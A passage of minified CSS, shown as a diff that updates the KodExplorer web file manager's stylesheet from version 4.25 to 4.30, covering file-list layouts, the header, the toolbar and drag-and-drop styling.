.content-more{height:100px;position:relative;}.children-list-dropover{position:relative;z-index:10 !important;padding-right:2px;outline:1px solid #2196F3;}.children-list-dropover.menu-body-main{outline:1px solid #2196F3;box-shadow:inset 0 0 2px #2196F3, inset 0 0 3px #2196F3;margin-bottom:1px;}.file-select-over-temp{z-index:50 !important;outline:1px solid #2196F3 !important;}.file-list-split .file .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-split .file .children-open i.font-icon:before{display:none \9\0;}.file-list-split .file.select-split-parent .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{display:none \9\0;}.file-list-list .file .children-more i.font-icon.cert-open,.file-list-split .file .children-more i.font-icon.cert-open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.file-list-list .file .children-more i.font-icon.cert-open:hover,.file-list-split .file .children-more i.font-icon.cert-open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path-tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.role-label-box{padding:6px 0 0 10px;float:left;}.role-label-box .label{cursor:default;padding:4px 8px;}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button-style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button-style .btn-default .font-icon{line-height:22px;}.button-style .btn-default:hover,.button-style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button-style .btn-default:active{color:#000;border-color:#888;}.button-style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button-style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball-input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball-input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball-input input:focus{outline:none;}.header-middle .address-ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address-ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #btn-history-back .font-icon,.frame-header .header-content #btn-history-next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folder-list-tree{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .file-continer-more{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom-box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom-box .box-content{padding-left:20px;}.frame-main .bottom-box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom-box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom-box .cell.recycle-hover,.frame-main .bottom-box .cell.share-hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod-toolbar-path .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-top-right-radius:3px;border-bottom-right-radius:3px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:4px 0 0 10px;width:100%;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:5px 20px 0 0;width:200px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size{float:right;display:none;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider{position:relative;margin-right:-34px;margin-top:30px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;margin-top:5px;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.frame-main .frame-right .file-select-info{height:25px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:0px 1em;font-size:1em;line-height:25px;}.frame-main .frame-right .file-select-info .item-num,.frame-main .frame-right .file-select-info .item-select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file-select-info .item-select{padding-left:0.5em;border-left:none;}.frame-main .path-is-null{text-align:center;color:#aaa;cursor:default;position:absolute;width:90%;margin-top:10%;}.frame-main .path-is-null:before{display:block;margin:0 auto;margin-bottom:0px;text-align:center;color:#ddd;font-size:60px;content:"\f115";font-family:FontAwesome;}.user-space-info{height:25spx;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user-space-info .space-info-bar{width:150px;}.user-space-info .space-info-bar .space-process{width:150px;}.group-space-use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.file-list-icon div.file{transition:all 0.2s ease 0s;} -/* ver 4.25(2017-12-04) [build 1512368388.3244] */ \ No newline at end of file +/* power by kodexplorer ver 4.30(2018-07-05) [build 1530795189.2426] */ +@import url('./fileIcon.css'); +@import url('./common.css'); +.select-container{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}.select-container:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.file-list-icon,.file-draging.file-list-list,.file-draging.file-list-split{z-index:1000;overflow:visible;}.file-draging.file-list-icon div.file,.file-draging.file-list-list div.file,.file-draging.file-list-split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.file-list-icon div.file.handle_target,.file-draging.file-list-list div.file.handle_target,.file-draging.file-list-split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:3px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag-number{display:none;}.draggable-dragging#drag-action-clear{box-shadow:none;color:#333;background:#def;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging .file-list-icon .file-select-drag-temp{transform:scale(1.1,1.1);}.file-continer{margin-bottom:40px;}.file-continer .file .filename .title.db-click-rename{cursor:text;}.file-continer .file .item-menu{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;}.file-continer .file .item-menu:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-menu:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-menu .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;padding:2px;left:5px;border-radius:50%;background:rgba(0,0,0,0.05);border:none;color:#fff;}.file-continer .file .item-select:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-select:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-select .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select:hover{color:#fff;background:rgba(0,0,0,0.2);box-shadow:none;}.file-continer .file .item-select .item-check{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;font-size:12px;text-shadow:none;}.file-continer .file .item-select .item-check:after{content:"\f00c";position:relative;top:-1px;}.file-continer .file.hover .item-menu,.file-continer .file.select .item-menu,.file-continer .file.file-select-drag-temp .item-menu{display:block;}.file-continer .file.hover .item-select,.file-continer .file.select .item-select,.file-continer .file.file-select-drag-temp .item-select{display:block;}.file-continer .file.select .item-select{color:#fff;background:#3b8cff;}.file-continer .file.file-not-exists{opacity:0.8;}.file-continer .file.file-not-exists .path-self-share{display:none;}.file-continer .file.file-not-exists:before{content:"已失效";z-index:999;font-size:12px;padding:2px 4px;background:#888;color:#fff;position:absolute;left:0px;top:4px;box-shadow:0 0 3px rgba(0,0,0,0.3);}.file-continer .file.file-not-exists .title{opacity:0.5;}.file-continer.file-list-split .file .item-menu{top:4px;right:4px;}.file-continer.file-list-split .file .item-select{top:4px;right:25px;left:auto;}.file-continer.file-list-list .file .item-menu{top:5px;right:5px;}.file-continer.file-list-list .file .item-select{top:5px;right:25px;left:auto;}.file-list-icon{padding:10px 20px 0 10px;display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;}.file-list-icon:after{width:82px;content:"";display:block;}.file-list-icon .flex-empty{width:75px;border:1px solid transparent;margin:0;margin-right:10px;margin-bottom:10px;visibility:hidden;height:0 !important;}.file-list-icon .meta-info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.file-list-icon .meta-info img{width:100%;height:100%;}.file-list-icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.file-list-icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3;}.file-list-icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.file-list-icon .file .filename #pathRenameTextarea,.file-list-icon .file .filename .newfile{width:60px;padding:0px 0 4px 0;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;margin-top:2px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.file-list-icon .file .filename #pathRenameTextarea:focus,.file-list-icon .file .filename .newfile:focus{outline:none;}.file-list-icon .file.select,.file-list-icon .file.file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-icon .file.file-icon-edit{overflow:visible;}.file-list-icon .file.file-icon-edit .filename{position:absolute;z-index:99;}.file-list-icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.file-list-icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.file-list-icon .file .ico.picture{background:none;width:50px;padding-left:5px;}.file-list-icon .file .ico.picture img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;position:relative;top:50%;transform:translateY(-50%);}.file-list-icon .file .ico.picture img.lazyload-ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list-type-header{z-index:5;position:absolute;width:100%;top:85px;}#main-title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main-title .box-shadow(1px 2px 15px #dde) + div{cursor:pointer;overflow:hidden;}#main-title div span{float:right;margin-right:8px;margin-top:0px;}#main-title .filename,#main-title .filesize,#main-title .filetype,#main-title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main-title .filename:hover,#main-title .filesize:hover,#main-title .filetype:hover,#main-title .filetime:hover{background:#eee;}#main-title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main-title .current{background:rgba(0,0,0,0.8);}#main-title .filename{width:250px;padding-left:20px;margin-left:0px;}#main-title .filetype{width:80px;}#main-title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main-title .filetime{width:150px;padding-right:6px;}#main-title .filesize span{margin-right:0px;}#main-title .this{font-weight:800;background:#eee;}.file-list-list,.file-list-split{padding-top:5px;z-index:0;padding-left:10px;}.file-list-list .file,.file-list-split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:0;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.file-list-list .file .ico,.file-list-split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-list .file2,.file-list-split .file2{background:#edf5ff;}.file-list-list .hover,.file-list-split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-list .select,.file-list-list .file-select-drag-temp,.file-list-split .select,.file-list-split .file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-list .select .children-more i.font-icon,.file-list-list .file-select-drag-temp .children-more i.font-icon,.file-list-split .select .children-more i.font-icon,.file-list-split .file-select-drag-temp .children-more i.font-icon{color:#63acff !important;}.file-list-list .meta-info,.file-list-split .meta-info{display:inline-block;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.file-list-list .meta-info img,.file-list-split .meta-info img{width:100%;height:100%;}.file-list-list .file,.file-list-split .file{width:80%;overflow:hidden;height:27px;}.file-list-list .file .ico,.file-list-list .file .filename,.file-list-list .file .filetype,.file-list-list .file .filesize,.file-list-list .file .filetime,.file-list-list .file .children-more,.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.file-list-list .file .children-more,.file-list-split .file .children-more{width:20px;height:28px;text-align:center;padding-left:0px;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{content:"\f0da";}.file-list-list .file .children-more i.font-icon.cert-open::after,.file-list-split .file .children-more i.font-icon.cert-open::after{content:"\f0d7";}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.file-list-list .file.loading-children .ico .x-item-file,.file-list-split .file.loading-children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.file-list-list .file .filetype,.file-list-split .file .filetype{width:90px;}.file-list-list .file .filesize,.file-list-split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.file-list-list .file .filetime,.file-list-split .file .filetime{width:200px;}.file-list-list .file .filename,.file-list-split .file .filename{width:240px;padding-left:0px;white-space:nowrap;text-overflow:ellipsis;}.file-list-list .file .filename .textarea,.file-list-split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.file-list-list .file .filename 